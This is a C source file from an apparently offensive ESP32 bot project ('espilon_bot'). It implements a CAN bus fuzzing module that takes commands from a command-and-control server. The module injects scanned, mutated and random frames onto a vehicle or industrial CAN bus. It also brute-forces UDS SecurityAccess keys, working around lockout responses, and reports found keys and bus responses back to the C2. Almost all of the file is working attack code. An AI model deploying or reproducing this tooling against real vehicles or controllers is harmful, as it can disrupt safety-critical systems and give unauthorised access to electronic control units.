espilon-source/espilon_bot/components/mod_canbus/canbus_fuzz.c
Eun0us 6d45770d98 epsilon: merge command system into core + add 5 new modules
Move command registry from components/command/ into components/core/.
New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota.
Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel).
Kconfig extended with per-module settings and async worker config.
2026-02-28 20:07:59 +01:00

360 lines
11 KiB
C

/*
* canbus_fuzz.c
* CAN bus fuzzing engine implementation.
*
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_fuzz.h"
#include "canbus_driver.h"
#include "utils.h"
#ifdef CONFIG_CANBUS_ISO_TP
#include "canbus_isotp.h"
#endif
#define TAG "CAN_FUZZ"
static volatile bool s_fuzz_running = false;
static TaskHandle_t s_fuzz_task = NULL;
static fuzz_config_t s_fuzz_cfg;
static const char *s_fuzz_req_id = NULL;
static uint32_t s_fuzz_count = 0;
static uint32_t s_fuzz_responses = 0;
static SemaphoreHandle_t s_fuzz_mutex = NULL;
/* ============================================================
* Response detector callback
* ============================================================ */
/* Temporary callback to detect responses during fuzzing */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* Count any response and report interesting ones */
s_fuzz_responses++;
/* Report to C2 */
char line[96];
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
(unsigned long)frame->id, frame->dlc);
size_t off = strlen(line);
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
/* Chain to original callback */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Fuzz Modes
* ============================================================ */
/* ID Scan: send fixed payload on every ID in range */
static void fuzz_id_scan(void)
{
uint8_t data[8];
memcpy(data, s_fuzz_cfg.seed_data, 8);
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
for (uint32_t id = s_fuzz_cfg.id_start;
id <= s_fuzz_cfg.id_end && s_fuzz_running;
id++) {
can_frame_t frame = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, data, 8);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
break;
}
}
}
/* Data Mutate: for a fixed ID, try all values for each byte */
static void fuzz_data_mutate(void)
{
can_frame_t frame = {
.id = s_fuzz_cfg.target_id,
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
.extended = (s_fuzz_cfg.target_id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
/* For each byte position, try all 256 values */
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
uint8_t original = frame.data[pos];
for (int val = 0; val < 256 && s_fuzz_running; val++) {
frame.data[pos] = (uint8_t)val;
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 &&
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
return;
}
}
frame.data[pos] = original; /* Restore for next position */
}
}
/* Random: random ID + random data */
static void fuzz_random(void)
{
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 10000;
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
uint32_t rand_val = esp_random();
can_frame_t frame = {
.id = rand_val & 0x7FF, /* Standard ID range */
.dlc = (uint8_t)((esp_random() % 8) + 1),
.extended = false,
.rtr = false,
};
/* Fill with random data */
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&frame.data[0], &r1, 4);
memcpy(&frame.data[4], &r2, 4);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
}
}
/* UDS Auth: brute-force SecurityAccess key */
static void fuzz_uds_auth(void)
{
#ifdef CONFIG_CANBUS_ISO_TP
uint32_t tx_id = s_fuzz_cfg.target_id;
uint32_t rx_id = tx_id + 0x08;
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 65536;
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
/* Step 1: Request seed (SecurityAccess level 0x01) */
uint8_t seed_req[2] = { 0x27, 0x01 };
uint8_t resp[32];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
tx_id, rx_id, seed_req, 2,
resp, sizeof(resp), &resp_len, 1000
);
if (st != ISOTP_OK || resp_len < 2) {
vTaskDelay(pdMS_TO_TICKS(100));
continue;
}
/* Check for exceededAttempts NRC (0x36) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Check for timeDelayNotExpired NRC (0x37) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Positive seed response: 0x67, 0x01, seed bytes */
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
int seed_len = (int)resp_len - 2;
if (seed_len <= 0 || seed_len > 8) continue;
/* Step 2: Try key (incremental or random based on iteration) */
uint8_t key_req[10] = { 0x27, 0x02 };
int key_len;
if (seed_len <= 2) {
/* Short seed: try sequential */
key_len = seed_len;
key_req[2] = (uint8_t)(attempt >> 8);
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
else key_req[2] = (uint8_t)(attempt & 0xFF);
} else {
/* Long seed: try random keys */
key_len = seed_len;
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&key_req[2], &r1, 4);
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
}
resp_len = 0;
st = isotp_request(
tx_id, rx_id, key_req, 2 + key_len,
resp, sizeof(resp), &resp_len, 1000
);
s_fuzz_count++;
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
/* SUCCESS! */
char line[64];
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
(unsigned long)tx_id);
size_t off = strlen(line);
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
ESP_LOGI(TAG, "Security key found!");
s_fuzz_running = false;
break;
}
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
/* Progress report every 100 attempts */
if ((attempt % 100) == 99) {
char progress[48];
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
}
}
#else
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
s_fuzz_running = false;
#endif
}
/* ============================================================
* Fuzz Task
* ============================================================ */
static void fuzz_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
s_fuzz_count = 0;
s_fuzz_responses = 0;
switch (s_fuzz_cfg.mode) {
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
case FUZZ_MODE_RANDOM: fuzz_random(); break;
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
}
/* Report completion */
char done[80];
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
s_fuzz_count, s_fuzz_responses);
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
s_fuzz_running = false;
s_fuzz_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
if (s_fuzz_running) {
ESP_LOGW(TAG, "Fuzzing already in progress");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
if (!can_driver_is_running()) {
ESP_LOGE(TAG, "CAN driver not running");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
s_fuzz_cfg = *cfg;
s_fuzz_req_id = request_id;
s_fuzz_running = true;
BaseType_t ret = xTaskCreatePinnedToCore(
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
);
if (ret != pdPASS) {
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
return false;
}
xSemaphoreGive(s_fuzz_mutex);
return true;
}
void can_fuzz_stop(void)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool can_fuzz_is_running(void)
{
return s_fuzz_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */